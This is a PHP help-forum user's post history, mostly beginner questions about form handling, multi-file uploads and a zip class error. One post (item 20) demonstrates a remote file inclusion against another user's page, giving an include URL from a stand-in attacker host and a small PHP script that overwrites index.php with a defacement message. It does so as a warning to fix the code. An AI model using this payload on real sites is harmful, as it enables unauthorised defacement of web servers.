Jump to content

tarun

Members
  • Posts

    321
  • Joined

  • Last visited

    Never

Everything posted by tarun

  1. Just Some Simple JS Will Do The Trick <html> <body> <script> function add() { var x = document.getElementById("txt1").value; var y = document.getElementById("txt2").value; document.getElementById("sum").value =(x*1)+(y*1); } </script> <form name="frm1"> <input type="text" id="txt1" value="5"> + <input type="text" id="txt2" value="10"><input type="button" value="Add" onclick="add()"> sum<input type="text" id="sum"> </form> </body> </html>
  2. This Works As Mentioned By "chigley" And "pocobueno1388 " <?php foreach($_POST as $key => $value) { } ?> Is There A Way How I Can Make It More Advanced Since At The Moment It Uses All The $_POST Variables How Do I Do It So It Only Uploads Fields With file_1 , file_2, file_3 etc. Up To An Unlimited Amount
  3. Yes I Know However I Shall Try Again
  4. What About If You Have A Free-Webhost And URL File Access Is Disabled Is There Around It..
  5. Forgive Me If This Reply Makes No Sense But I Didn't Read The Whole Thing Anyway, Its Just Hotmail's Spam Filter Mistaking (Or Perhaps Not) For A Spam Email
  6. Unfortunatley None Of These Methods Worked The First Two Provided No Output And This: <?php $index=1; while($_POST["file_".$index]<=10){ echo "File $index Uploaded<BR>\n"; $index++; } ?> Just Listed An Everlasting List Of Numbers. eg. File 1 Uploaded File 2 Uploaded File 3 Uploaded File 4 Uploaded File 5 Uploaded etc.
  7. Basically Ive Got Lots Of POSTs For A Multi-File Uploader It Needs To Run Through All The POST Variables eg file_1 file_2 file_3 etc. I Would Think It Could Be Done With for Or foreach But Im Not Sure How So If Anyone Does Or Can Point Me In The Write Direction Please Post A Message Here K Thnx
  8. I know how to upload files through the POST method very well but for EDUCATIONAL purposes i would like to know how to do it using GET Thnx, Tarun
  9. Yh I Actually Meant After That But Oh Well lol
  10. And What Should I Do After Doing That
  11. Thnx For The Advice Ive Deccided To Use Another Class (Which Has More Features) CheerZ, Tarun
  12. Oh... Do You Know What I Should Do? Thnx, Tarun
  13. Also Check www.w3schools.com
  14. Not Found The requested URL /Connections/userlogin.php was not found on this server. The File Has To Exists To Be Able To "Require" It - I THINK...
  15. Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/www/tpatelphp.awardspace.com/custom/createZip.inc.php on line 11 01. <?php 02. 03. /** 04. * Class to dynamically create a zip file (archive) 05. * 06. * @author Rochak Chauhan 07. */ 08. 09. class createZip { 10. 11. public $compressedData = array(); 12. public $centralDirectory = array(); // central directory 13. public $endOfCentralDirectory = "\x50\x4b\x05\x06\x00\x00\x00\x00"; //end of Central directory record 14. public $oldOffset = 0; 15. Can't Figure Out The Problem With It If This Helps Its From The PHP createZip Class
  16. And do you happen to know how too it would be greatly appreciated
  17. Topic Title Says It All And Is It Even Possible
  18. HOLD ON Ive Just Run A cURL Test And It Turns Out That AwardSpace.com Has Disabled cURL
  19. Thnx But Have You Got Any Examples Of What Im Looking To Do As Im Fairly New To PHP
  20. Yep I Could Something Like: pages.php?page=http://www.h4ck.com/phpinjection The phpinjection.php: <?php $entry_line="Ahaha. Hacked by a scipt kiddy."; $fp = fopen("index.php", "w"); fputs($fp, $entry_line); fclose($fp); ?> Hmmmm.... Seriously Re-Write Your Code
  21. Is There Or Could You Provide An Example Please Thnx, Tarun
  22. Well... I Saw Something Like This submit.php?field1=test&field2=data&url=http://www.externalwebsite.com/handler.php&method=_post I Was Just Wondering How To Do It Any Help...? Thnx, Tarun
  23. To Be Honest I Don't Understand Could You Provide An Example Please Cheers...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.